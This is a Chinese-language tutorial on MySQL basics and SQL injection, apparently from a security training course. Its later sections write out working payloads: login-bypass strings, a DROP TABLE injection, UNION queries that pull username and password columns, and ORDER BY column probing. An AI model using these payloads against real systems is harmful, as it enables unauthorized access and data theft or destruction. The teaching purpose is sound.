資料庫與 SQL 注入簡介
現代網頁應用程式大多倚賴後端資料庫來儲存與管理各種資訊,像是使用者資料、貼文內容、圖片檔案等。這些資料透過 SQL(Structured Query Language,結構化查詢語言)來進行查詢與操作,使網站能即時地從資料庫取得資料並動態呈現給使用者。
然而,若未妥善設計後端系統或驗證使用者輸入,就可能讓駭客有機可乘,進而發動 SQL 注入攻擊(SQL Injection,簡稱 SQLi),對系統造成嚴重威脅。
資料庫管理系統(DBMS)簡介
為了有效率地處理資料,現代應用系統多數會使用資料庫管理系統(Database Management System, DBMS)來建立、定義、管理與操作資料庫。DBMS 可分為多種類型,包括:
- 傳統檔案型資料庫
- 關聯式資料庫(Relational DBMS,如 MySQL)
- NoSQL 資料庫(如 MongoDB)
- 圖形資料庫(Graph DB)
- 鍵值儲存系統(Key/Value Stores)
DBMS 廣泛應用於金融、教育、電商等領域,具備以下幾項重要特性:
| 功能 | 說明 |
|---|---|
| Concurrency(併發處理) | 支援多使用者同時操作資料庫,確保資料不會衝突或遺失。 |
| Consistency(一致性) | 保證資料在操作過程中始終維持有效且正確。 |
| Security(安全性) | 提供細緻的權限控制,限制未授權使用者存取敏感資料。 |
| Reliability(可靠性) | 提供備份與還原機制,確保資料在損毀或異常時可回復。 |
| SQL 查詢語言支援 | 透過直覺式的語法與操作,簡化資料的查詢與管理。 |
兩層式系統架構(Two-Tier Architecture)
典型的網站應用系統多採用「兩層式架構」,如下:
架構說明
- Tier I(用戶端層):
代表使用者介面(如瀏覽器或 GUI 應用程式),負責與使用者互動,例如輸入帳號密碼登入、留言等。輸入資料透過 API 請求送往第二層。 - Tier II(應用伺服器層):
解譯使用者請求並轉換為資料庫可理解的查詢語法,並使用特定驅動程式與資料庫溝通。 - DBMS(資料庫):
接收請求並執行操作,回傳結果或錯誤訊息。由 DBA 管理與維護。

大型系統為提升效能與擴充性,常將應用伺服器與資料庫部署於不同主機。
SQL Injection(SQLi)攻擊詳解
SQLi 是一種常見的網頁安全漏洞,攻擊者藉由惡意輸入特製 SQL 語句,竄改後端預期執行的查詢邏輯,進而存取、竄改、刪除甚至控制整個資料庫。
攻擊流程概要:
- 注入語法(如單引號
')突破輸入限制。 - 結合堆疊查詢或
UNION查詢等技巧執行異常指令。 - 從回應中擷取資料或控制行為。
SQLi 風險與應用案例
SQLi 攻擊可能造成以下嚴重後果:
- 竊取帳號密碼、信用卡等敏感資料
- 繞過登入機制,直接取得系統存取權
- 執行未授權的功能(如進入管理後台)
- 上傳後門程式,控制整個網站伺服器
如何防止 SQL Injection
- 使用 Prepared Statements(預處理語句)取代字串拼接
- 驗證與清理使用者輸入
- 避免顯示詳細錯誤訊息
- 設定資料庫帳號的最低必要權限
- 定期進行安全測試與程式碼審查
透過以上措施,可以有效降低網站被 SQL 注入攻擊的風險,保障系統安全與資料完整。
資料庫的類型
一般而言,資料庫可分為關聯式資料庫與非關聯式資料庫。僅有關聯式資料庫使用 SQL 查詢語言,而非關聯式資料庫則使用不同的資料儲存模型與溝通方式。
關聯式資料庫
關聯式資料庫是最常見的資料庫類型。它使用「資料結構模板(Schema)」來定義資料的儲存方式。例如,一家販售商品的公司,可能在資料庫中儲存顧客資訊、商品資訊與交易紀錄等,而這些通常在後端運作,使用者不會在前端察覺。
每一張表格都有其特定用途,例如:
- 表一:儲存顧客基本資訊
- 表二:儲存已售商品數量與價格
- 表三:紀錄誰購買了哪些商品及付款方式
關聯式資料庫的表格透過「鍵(Key)」互相連結,使資料能快速查詢。這些表格彼此之間都有關聯。例如顧客資訊表可使用顧客的 ID 作為主鍵,以查詢該顧客的姓名、地址、聯絡方式等;商品表也可以為每項商品指定唯一 ID。訂單表只需記錄這些 ID 與數量即可,變動將會同步影響所有關聯表。
舉例來說,users 表可以包含欄位如 id、username、first_name、last_name 等。id 是主鍵。另一張 posts 表可以儲存貼文,欄位可能包含 id、user_id、date、content 等,而 user_id 即用來連接 users 表。
資料表間的關聯稱為 Schema(結構描述)。
透過關聯式資料庫,我們可以用單一查詢快速地從多張表中取得特定用戶的完整資料,這讓關聯式資料庫在處理大規模結構化資料時非常快速、可靠且高效。
最常見的關聯式資料庫系統是 MySQL。
非關聯式資料庫
非關聯式資料庫(也稱為 NoSQL 資料庫)不使用傳統的資料表、欄位、主鍵、關聯或 Schema。相反地,它們根據不同的資料類型採用多種儲存模型,因此具有高度彈性與擴展性,特別適合儲存結構不明確或不穩定的資料。
NoSQL 常見的四種資料儲存模型為:
- Key-Value(鍵值型)
- Document-Based(文件型)
- Wide-Column(寬欄型)
- Graph(圖形型)

例如,Key-Value 模型通常使用 JSON 或 XML 格式來儲存資料。以下是一個 JSON 範例:
{
"100001": {
"date": "2021-01-01",
"content": "歡迎使用本網站。"
},
"100002": {
"date": "2021-02-01",
"content": "這是本網站的第一篇貼文。"
},
"100003": {
"date": "2021-02-01",
"content": "提醒:明天是..."
}
}
這種格式類似 Python 或 PHP 中的字典物件(例如 {'key': 'value'}),其中 key 通常是字串,而 value 則可以是字串、物件、陣列或類別。
最常見的 NoSQL 資料庫是 MongoDB。
注意:非關聯式資料庫具有不同於 SQL 的注入手法,稱為 NoSQL 注入。我們會在後續章節說明。
MySQL 簡介
本章將透過 MySQL 介紹 SQL 注入的相關概念,學習 MySQL 與 SQL 的基本語法對於了解 SQL 注入攻擊的運作方式與防範手法至關重要。
因此,本節將介紹 MySQL/SQL 的基本語法與範例,並以 MySQL/MariaDB 資料庫為操作對象。
結構化查詢語言(SQL)
SQL 語法在不同的關聯式資料庫管理系統(RDBMS)中可能略有差異,但皆需遵循 ISO 結構化查詢語言的標準。
SQL 可用於執行以下操作:
- 查詢資料
- 更新資料
- 刪除資料
- 建立新的資料表與資料庫
- 新增/移除使用者
- 設定使用者權限
命令列操作
mysql 工具可用來連線並操作 MySQL/MariaDB 資料庫。使用 -u 參數提供使用者名稱,-p 參數輸入密碼。為安全起見,密碼不應直接顯示在指令中。
mysql -u root -p
會提示輸入密碼:
Enter password: <密碼>
mysql>
提示: -p 與密碼之間不能有空格。
若你將密碼直接寫在指令中,如下方式也是可行的(但較不安全):
mysql -u root -p<密碼>
預設連線會使用 localhost,若要連線遠端伺服器,可使用 -h 指定主機,-P 指定埠號:
mysql -u root -h docker.hackthebox.eu -P 3306 -p
注意: MySQL/MariaDB 的預設埠號為 3306。若伺服器設定不同,需以 -P 另行指定。
建立資料庫
登入資料庫後,可透過 SQL 語法與 DBMS 互動,例如使用 CREATE DATABASE 建立資料庫:
mysql> CREATE DATABASE users;
我們可以使用 SHOW DATABASES 檢視所有資料庫,並用 USE 切換至目標資料庫:
mysql> SHOW DATABASES;
mysql> USE users;
Database changed
補充: SQL 指令本身不區分大小寫,但資料庫名稱通常是區分大小寫的,為避免混淆,建議使用大寫書寫 SQL 語法。
資料表(Tables)
DBMS 以資料表形式儲存資料。資料表由橫向的列(row)與縱向的欄位(column)組成。每欄位都指定特定資料型別(data type),例如:
INT:整數VARCHAR:文字DATETIME:日期時間
以下為建立 logins 資料表的範例:
CREATE TABLE logins (
id INT,
username VARCHAR(100),
password VARCHAR(100),
date_of_joining DATETIME
);
在 CLI 中執行會如下:
mysql> CREATE TABLE logins (
-> id INT,
-> username VARCHAR(100),
-> password VARCHAR(100),
-> date_of_joining DATETIME
);
這會建立四個欄位,其中 id 為整數,username 與 password 為長度 100 的字串,date_of_joining 為日期時間。
可以使用以下指令查看資料表:
mysql> SHOW TABLES;
mysql> DESCRIBE logins;
資料表屬性(Table Properties)
在 CREATE TABLE 語句中,我們可加入各種屬性與限制:
- AUTO_INCREMENT:使
id自動遞增 - NOT NULL:欄位不得為空
- UNIQUE:欄位值需唯一(例如
username) - DEFAULT:指定欄位預設值(如使用
NOW()) - PRIMARY KEY:主鍵,用來唯一識別資料列
範例:
CREATE TABLE logins (
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(100) UNIQUE NOT NULL,
password VARCHAR(100) NOT NULL,
date_of_joining DATETIME DEFAULT NOW(),
PRIMARY KEY (id)
);
提示: 伺服器初始化需花費數秒時間,請耐心等待 MySQL 啟動。
SQL 語句
現在我們已經了解如何使用 mysql 工具並建立資料庫與資料表,接下來我們將介紹一些常用的 SQL 語句與用途。
INSERT 語句
INSERT 語句用來新增資料列至資料表中,其基本語法如下:
INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);
上述語法要求填入該資料表中所有欄位的值:
mysql> INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');
Query OK, 1 row affected (0.00 sec)
你也可以只針對特定欄位新增資料(例如略過有預設值的欄位 id 與 date_of_joining):
INSERT INTO table_name(column2, column3, ...) VALUES (column2_value, column3_value, ...);
注意: 若欄位有 NOT NULL 限制,未填入會導致錯誤。
範例如下:
mysql> INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');
Query OK, 1 row affected (0.00 sec)
你也可以一次新增多筆資料:
mysql> INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');
Query OK, 2 rows affected (0.00 sec)
SELECT 語句
資料新增後,可以使用 SELECT 語句查詢資料。SELECT 可用來取得整張表或特定欄位內容:
SELECT * FROM table_name;
星號(*)代表查詢所有欄位。你也可以查詢特定欄位:
SELECT column1, column2 FROM table_name;
查詢範例:
mysql> SELECT * FROM logins;
+----+---------------+-------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+-------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:56 |
| 3 | john | john123! | 2020-07-02 11:47:10 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+-------------+---------------------+
mysql> SELECT username, password FROM logins;
+---------------+-------------+
| username | password |
+---------------+-------------+
| admin | p@ssw0rd |
| administrator | adm1n_p@ss |
| john | john123! |
| tom | tom123! |
+---------------+-------------+
DROP 語句
DROP 可用來移除資料表或資料庫:
mysql> DROP TABLE logins;
Query OK, 0 rows affected (0.01 sec)
mysql> SHOW TABLES;
Empty set (0.00 sec)
注意: DROP 會直接永久刪除資料表,且不會再次確認,請小心使用。
ALTER 語句
ALTER 用於修改資料表結構,例如新增欄位、修改欄位名稱、變更資料型別、刪除欄位等。
新增欄位:
mysql> ALTER TABLE logins ADD newColumn INT;
Query OK, 0 rows affected (0.01 sec)
修改欄位名稱:
mysql> ALTER TABLE logins RENAME COLUMN newColumn TO newerColumn;
Query OK, 0 rows affected (0.01 sec)
修改欄位資料型別:
mysql> ALTER TABLE logins MODIFY newerColumn DATE;
Query OK, 0 rows affected (0.01 sec)
刪除欄位:
mysql> ALTER TABLE logins DROP newerColumn;
Query OK, 0 rows affected (0.01 sec)
只要有足夠權限,就可以使用以上任一語句操作資料表結構。
UPDATE 語句
UPDATE 語句可用來根據條件更新特定資料列的欄位內容。基本語法如下:
UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE condition;
範例如下,將 id > 1 的使用者密碼更新為 change_password:
mysql> UPDATE logins SET password = 'change_password' WHERE id > 1;
Query OK, 3 rows affected (0.00 sec)
Rows matched: 3 Changed: 3 Warnings: 0
mysql> SELECT * FROM logins;
+----+---------------+------------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | change_password | 2020-07-02 11:30:56 |
| 3 | john | change_password | 2020-07-02 11:47:10 |
| 4 | tom | change_password | 2020-07-02 11:47:16 |
+----+---------------+------------------+---------------------+
注意: 更新語句必須包含 WHERE 條件,否則會一次更新所有資料列。
查詢結果
在本節中,我們將學習如何控制任何查詢的結果輸出。
排序結果
我們可以使用 ORDER BY 並指定要排序的欄位來對任何查詢的結果進行排序:
mysql> SELECT * FROM logins ORDER BY password;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | | 3 | john | john123! | 2020-07-02 11:47:16 | | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 4 | tom | tom123! | 2020-07-02 11:47:16 | +----+---------------+-------------+---------------------+
預設情況下,排序是依照升冪(ASC)進行的,但我們也可以使用 ASC 或 DESC 來明確指定排序方式:
mysql> SELECT * FROM logins ORDER BY password DESC;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 4 | tom | tom123! | 2020-07-02 11:47:16 | | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 3 | john | john123! | 2020-07-02 11:47:16 | | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | +----+---------------+-------------+---------------------+
我們也可以依照多個欄位進行排序,以下例子會先根據 password 做降冪排序,若相同則依照 id 升冪排序:
mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;
+----+---------------+------------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+------------------+---------------------+ | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | | 3 | john | change_password | 2020-07-02 11:47:16 | | 4 | tom | change_password | 2020-07-02 11:50:20 | +----+---------------+------------------+---------------------+
限制結果數量(LIMIT)
如果查詢結果回傳太多筆資料,我們可以使用 LIMIT 來限制要回傳的筆數:
mysql> SELECT * FROM logins LIMIT 2;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | +----+---------------+-------------+---------------------+
若我們想要跳過前幾筆資料,可以指定 offset 與筆數,例如:
mysql> SELECT * FROM logins LIMIT 1, 2;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | | 3 | john | john123! | 2020-07-02 11:47:16 | +----+---------------+-------------+---------------------+
WHERE 條件子句
我們可以搭配 SELECT 使用 WHERE 子句來過濾出符合條件的資料,例如:
mysql> SELECT * FROM logins WHERE id > 1;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | | 3 | john | john123! | 2020-07-02 11:47:16 | | 4 | tom | tom123! | 2020-07-02 11:47:16 | +----+---------------+-------------+---------------------+
也可以用來比對文字欄位:
mysql> SELECT * FROM logins WHERE username = 'admin';
+----+----------+-----------+---------------------+ | id | username | password | date_of_joining | +----+----------+-----------+---------------------+ | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | +----+----------+-----------+---------------------+
LIKE 模糊查詢
LIKE 是一個很實用的條件子句,可以搭配萬用字元來搜尋符合特定模式的資料。例如以下查詢所有使用者名稱以 admin 開頭的記錄:
mysql> SELECT * FROM logins WHERE username LIKE 'admin%';
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 2 | administrator | adm1n_p@ss | 2020-07-02 15:19:02 | +----+---------------+-------------+---------------------+
% 符號代表任意長度的字元(包括零個字元);_ 則代表「一個字元」。例如以下範例只找出使用者名稱剛好為三個字元的帳號:
mysql> SELECT * FROM logins WHERE username LIKE '___';
+----+----------+----------+---------------------+ | id | username | password | date_of_joining | +----+----------+----------+---------------------+ | 4 | tom | tom123! | 2020-07-02 15:18:56 | +----+----------+----------+---------------------+
SQL 運算子
有時候,單一條件無法滿足查詢需求,因此 SQL 提供了邏輯運算子 AND、OR 和 NOT,以便一次處理多個條件。
AND 運算子
AND 運算子接收兩個條件,僅當兩個條件都為 true 時才回傳 true:
條件1 AND 條件2
範例:
SELECT 1 = 1 AND 'test' = 'test'; -- 結果為 1(true)
SELECT 1 = 1 AND 'test' = 'abc'; -- 結果為 0(false)
MySQL 中,任何非零值都視為 true,0 則為 false。
OR 運算子
OR 運算子也接收兩個條件,只要其中一個條件為 true,就會回傳 true:
SELECT 1 = 1 OR 'test' = 'abc'; -- 結果為 1(true)
SELECT 1 = 2 OR 'test' = 'abc'; -- 結果為 0(false)
NOT 運算子
NOT 運算子會對布林值進行反轉,也就是 true 變成 false,false 變成 true:
SELECT NOT 1 = 1; -- 結果為 0(false)
SELECT NOT 1 = 2; -- 結果為 1(true)
符號表示法
AND、OR 和 NOT 也可以使用以下符號來表示:
AND → &&OR → ||NOT → !
SELECT 1 = 1 && 'test' = 'abc'; -- 結果為 0(false)
SELECT 1 = 1 || 'test' = 'abc'; -- 結果為 1(true)
SELECT 1 != 1; -- 結果為 0(false)
在查詢中的運用
你可以將這些邏輯運算子用在 SQL 查詢中,例如:
-- 查詢 username 不是 'john' 的紀錄
SELECT * FROM logins WHERE username != 'john';
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)
-- 查詢 username 不是 'john' 且 id > 1 的紀錄
SELECT * FROM logins WHERE username != 'john' AND id > 1;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)
多個運算子的優先順序
SQL 中的運算會根據「運算子優先順序」來決定執行順序,以下為常見優先順序(由高至低):
- 除法(/)、乘法(*)、取餘數(%)
- 加法(+)、減法(-)
- 比較運算子(=、<、>、<=、>=、!=、LIKE)
- NOT(!)
- AND(&&)
- OR(||)
範例:
SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;
-- 這會先算 3 - 2 = 1,再套入條件 id > 1
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-03 12:03:53 |
| 3 | john | john123! | 2020-07-03 12:03:57 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)
等同於:
SELECT * FROM logins WHERE username != 'tom' AND id > 1;
SQL 注入簡介
SQL 在 Web 應用程式中的使用
首先,我們來看看 Web 應用程式如何使用資料庫(此處以 MySQL 為例)來儲存與讀取資料。一旦資料庫管理系統安裝完成並設定好後,Web 應用程式就能開始利用它來儲存與存取資料。
以下是一段 PHP 程式碼,用來連接 MySQL 資料庫並查詢資料:
$conn = new mysqli("localhost", "root", "password", "users");
$query = "select * from logins";
$result = $conn->query($query);
查詢的結果會儲存在 $result,接著可以使用下列 PHP 程式碼將結果逐行印出:
while($row = $result->fetch_assoc()) {
echo $row["name"]."<br>";
}
Web 應用程式通常也會使用使用者輸入來查詢資料。例如,當使用者在搜尋欄中輸入資料時,輸入會傳入 SQL 查詢中,如下:
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput%'";
$result = $conn->query($query);
注意:如果在 SQL 查詢中直接插入使用者輸入,而沒有進行安全處理,可能會導致 SQL 注入漏洞。
什麼是注入?
當應用程式錯誤地將使用者輸入當作程式碼的一部分解讀並執行時,就會產生注入攻擊。這可能是因為使用者輸入中加入了特殊字元(如單引號 '),導致原本預期的查詢邊界被破壞。
例如,以下是未經過濾的 SQL 查詢:
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput%'";
$result = $conn->query($query);
如果輸入 admin,則查詢會變成:
select * from logins where username like '%admin%'
但若輸入 1'; DROP TABLE users;,則查詢會變成:
select * from logins where username like '%1'; DROP TABLE users;
這樣會導致 users 表格被刪除。
語法錯誤
上述的 SQL 注入範例會回傳語法錯誤:
Error: near Line 1: near ""; syntax error
select * from logins where username like '%1'; DROP TABLE users;
這是因為 ' 沒有正確關閉,造成語法錯誤。
為了成功進行 SQL 注入,必須確保修改後的查詢語法正確。這通常需要開發者能夠看到原始程式碼或推測查詢邏輯。
SQL 注入的類型
SQL 注入可根據輸出方式分為以下幾種:
- In-band:結果會直接顯示在前端畫面上,分為:
- Union Based:使用
UNION合併額外查詢。 - Error Based:利用 SQL 錯誤回傳結果。
- Union Based:使用
- Blind:結果不會顯示在畫面上,但可以透過邏輯判斷結果,分為:
- Boolean Based:透過條件判斷是否為
true來得知結果。 - Time Based:使用如
SLEEP()的延遲函數來測試查詢是否執行。
- Boolean Based:透過條件判斷是否為
- Out-of-band:將結果導出到其他地方(如 DNS 查詢記錄),再從外部取得結果。
在本章節中,我們僅介紹 Union Based 的 SQL 注入。
顛覆查詢邏輯
現在我們已經對 SQL 語句的運作方式有了基本了解,接下來就要開始實際操作 SQL Injection。
在開始執行完整的 SQL 查詢語句之前,我們會先學習如何透過注入 OR 運算符與使用 SQL 註解,來改變原始查詢的邏輯。
最基本的例子是:繞過網頁登入驗證,這部分我們將在下方的範例中展示。
驗證繞過
請看下面這個管理員登入頁面的示意圖:
我們可以使用管理員帳號登入,預設的管理員憑證如下:
- 帳號:
admin - 密碼:
p@ssw0rd
成功登入時的查詢
當我們使用正確的帳密登入時,後端實際執行的 SQL 查詢為:
SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';
系統會根據查詢結果,檢查是否存在匹配的資料。如果有符合的帳號與密碼,登入就會成功,並顯示如下訊息:
失敗登入的查詢
假設我們輸入錯誤的密碼,例如:
- 帳號:
admin - 密碼:
admin
那麼實際執行的 SQL 查詢將變成:
SELECT * FROM logins WHERE username='admin' AND password = 'admin';
由於密碼錯誤,查無資料,系統就會顯示:
這是因為 AND 條件運算結果為 false,所以查詢結果為空。
SQLi 測試:探索是否能注入
在嘗試繞過驗證邏輯之前,我們要先檢查輸入欄位是否能被注入 SQL 語法。
我們可以在「使用者名稱」欄位輸入以下字元之一,來觀察系統是否報錯或行為異常:
| Payload | URL 編碼 |
|---|---|
| ‘ | %27 |
| “ | %22 |
| # | %23 |
| ; | %3B |
| ) | %29 |
例子:當我們輸入單引號 ' 作為使用者名稱,並搭配任意密碼,例如:
SELECT * FROM logins WHERE username='' AND password = 'something';
若系統回傳 SQL 錯誤,顯示語法錯誤而不是 「登入失敗」 訊息,那就代表此欄位存在 SQL Injection 弱點,可以被利用。
這種錯誤通常是因為引號不對稱導致語法無法正確解析。
OR 注入
我們希望查詢結果永遠回傳 true,無論輸入的使用者名稱與密碼是否正確,藉此繞過身份驗證。為了達成這個目的,我們可以在 SQL 注入中利用 OR 運算子。
根據 MySQL 的運算優先順序文件,AND 運算子會比 OR 運算子先被執行。這代表只要整體查詢中有一個條件為 TRUE,整個查詢就會回傳 TRUE。而 OR 的特性就是只要其中一個條件為 TRUE,就會整體為 TRUE。
舉例來說,'1'='1' 這個條件永遠為真。為了讓 SQL 語法正常工作並保持引號數為偶數,我們不使用 ('1'='1'),而是去掉最後一個引號,改用 ('1'='1,讓原始查詢中原本的引號來結束它。
因此,我們可以這樣注入:
admin' or '1'='1
最終查詢將會如下:
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password='something';
這段 SQL 的邏輯如下:
- 如果 username 是 admin
- OR
- 如果 ‘1’=’1′ 為真(這永遠為真)
- AND
- password 是 something
首先會執行 AND 運算符,並回傳 false 。然後,會執行 OR 運算符,只要其中一個語句為 true ,就會傳回 true 。由於 1=1 始終傳回 true ,因此此查詢將傳回 true ,並授予我們存取權限。
使用 OR 運算子繞過驗證
我們成功以 admin 身分登入。但如果不知道正確的使用者名稱呢?我們再試一次,用錯誤的帳號登入:

登入失敗的原因是 notAdmin 不存在於資料表中,使得查詢結果為 false。
邏輯運算圖解
- notAdmin = False
- ‘1’=’1′ = True
- password=’something’ = False
- True AND False = False
- False OR False = False
用密碼欄位進行 OR 注入
為了再次成功登入,我們可以在密碼欄位注入 OR 條件,確保查詢總是回傳 true。

這樣一來,不論帳號密碼是否正確,WHERE 子句中的查詢條件都會回傳 true,因此第一筆使用者資料就會被查出並登入成功。

這能成功,是因為整體查詢結果無論輸入為何都會回傳 true。
使用註解(Comments)
在本節中,我們將學習如何使用註解來顛覆更進階 SQL 查詢邏輯,並建立一個可運作的 SQL 查詢以繞過登入驗證程序。
註解的基本使用
就像其他語言一樣,SQL 也允許使用註解。註解通常用於紀錄查詢語句,或忽略查詢中的特定部分。在 MySQL 中,我們可以使用兩種行內註解格式:
--(兩個減號,後面要有一個空格)#
此外,也可以使用/**/這種區塊註解,但這在 SQL Injection 中不常見。
範例
mysql> SELECT username FROM logins; -- 選擇 logins 資料表中的使用者名稱
+--------------+
| username |
+--------------+
| admin |
| administrator|
| john |
| tom |
+--------------+
4 rows in set (0.00 sec)
-- 。在 URL 中傳遞時,這會被編碼成 --+,表示空格也被編碼為 +。我們會在結尾再補上一個減號變成 -- - 來表達有空格存在。# 符號也能作為註解使用。
繞過身份驗證的註解技巧
mysql> SELECT * FROM logins WHERE username = 'admin'; # 你可以在這裡加入任何東西,例如 AND password = 'something'
伺服器會忽略 # 之後的部分,也就是不會評估 AND password。
使用 — 進行繞過
讓我們回到前面的例子,並將 username 欄位的輸入設定為 admin'-- 。最終產生的 SQL 語句如下:
SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';
此語法將密碼條件註解掉,僅確認 username 是否為 admin,因此即使密碼錯誤也可登入。

另一個例子:使用括號
如上例所示,即便帳號正確,由於 id 必須大於 1,admin 的 id 若為 1,就無法登入。密碼也經過雜湊處理。
嘗試正確的帳密登入
admin / p@ssw0rd
使用其他帳號登入
補上括號後的繞過技巧
嘗試輸入 admin'-- 會出現語法錯誤,因為少了對應的關閉括號:

改用 admin')-- 作為 username,補足括號並註解掉後方語句:

最終結果
SELECT * FROM logins WHERE (username='admin')
如同前面所述,回傳包含 admin 的資料列。
Union 子句
到目前為止,我們只是在修改原始查詢以繞過 Web 應用邏輯與驗證,方法包括使用 OR 運算子與註解。然而,還有另一種 SQL Injection 類型:注入整段 SQL 查詢與原查詢一併執行。本節將透過 MySQL 的 UNION 子句來示範 SQL Union Injection。
Union
在學習 Union Injection 之前,我們先了解 SQL 中的 UNION 子句。它的用途是將多個 SELECT 敘述的結果合併成一組結果。
透過 UNION 注入,我們能夠從整個 DBMS 中擷取與導出資料,包含多個資料表或資料庫。
以下是範例資料庫中 ports 資料表的內容:
mysql> SELECT * FROM ports;
+--------+------------+
| code | city |
+--------+------------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| ZZ-Z1 | Shenzhen |
+--------+------------+
3 rows in set (0.00 sec)
接下來,我們查看 ships 資料表的內容:
mysql> SELECT * FROM ships;
+----------+-----------+
| Ship | city |
+----------+-----------+
| Morrison | New York |
+----------+-----------+
1 row in set (0.00 sec)
使用 UNION 合併結果
mysql> SELECT * FROM ports UNION SELECT * FROM ships;
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| Morrison | New York |
| ZZ-Z1 | Shenzhen |
+----------+-----------+
4 rows in set (0.00 sec)
如上所示,UNION 將來自 ports 與 ships 的資料整合成一個查詢結果。注意:兩個 SELECT 查詢的欄位數與資料型別需相同。
欄位數需相等
UNION 子句僅能用於兩個 SELECT 結果擁有相同欄位數的情況。若兩者欄位數不同,會出現如下錯誤:
mysql> SELECT city FROM ports UNION SELECT * FROM ships;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
因為第一個 SELECT 只返回一欄,而第二個返回兩欄,導致錯誤。
利用 UNION 提取其他資料
假設原始查詢為:
SELECT * FROM products WHERE product_id = 'user_input'
我們可以透過注入來加入 UNION 查詢:
SELECT * FROM products WHERE product_id = '1' UNION SELECT username, password FROM passwords-- '
假設 products 資料表有兩個欄位,這段查詢會導出 passwords 資料表中的 username 和 password。
不相等欄位數的處理方式
原始查詢的欄位數若與我們想注入的查詢不同,就需要透過填充「垃圾資料(junk)」的方式湊足欄位數。例如:如果原查詢只 SELECT 一欄,我們可以使用如下方式:
SELECT "junk" FROM passwords
該查詢會永遠回傳 junk。若使用數字填充,則:
SELECT 1 FROM passwords
NULL 作為通用資料型別填充。在前面範例中,products 資料表有兩個欄位,所以注入查詢時也需兩欄:
SELECT * FROM products WHERE product_id = '1' UNION SELECT username, 2 FROM passwords
若原查詢為四欄,則需補滿四欄:
UNION SELECT username, 2, 3, 4 FROM passwords-- '
查詢結果會是:
mysql> SELECT * FROM products WHERE product_id UNION SELECT username, 2, 3, 4 FROM passwords-- '
+-----------+------------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+------------+-----------+-----------+
| admin | 2 | 3 | 4 |
+-----------+------------+-----------+-----------+
如結果所示,第二列第一欄成功取得 username 值,其餘欄位以數字填充。
Union 注入
現在我們已經了解 Union 子句的運作方式與應用,接下來要學習如何將其應用在 SQL 注入中。請參考以下範例:
發現注入點
我們觀察到搜尋參數中可能存在 SQL 注入的機會。我們嘗試注入單引號 ' 來進行 SQLi 探測,結果出現錯誤訊息:
由於產生錯誤,表示此頁面可能存在 SQL 注入漏洞。這是一個典型可透過 Union-based Injection 來進行資料外洩的情境。
偵測欄位數
在進一步進行 Union-based 查詢利用之前,我們需要找出伺服器查詢結果的欄位數量,以下有兩種方式可以做到:
- 使用
ORDER BY - 使用
UNION
使用 ORDER BY
第一種方式是使用 ORDER BY 函數。我們透過逐一增加欄位編號排序,直到出現錯誤為止。例如,我們從 order by 1 開始,接著依序測試 order by 2、order by 3 等。
當排序成功代表該欄位存在,若排序失敗或頁面無輸出,代表該欄位不存在。最後一個成功的欄位編號即為欄位總數。
' order by 1-- -
-- 後有一個空格。接著測試第二個欄位:
' order by 2-- -
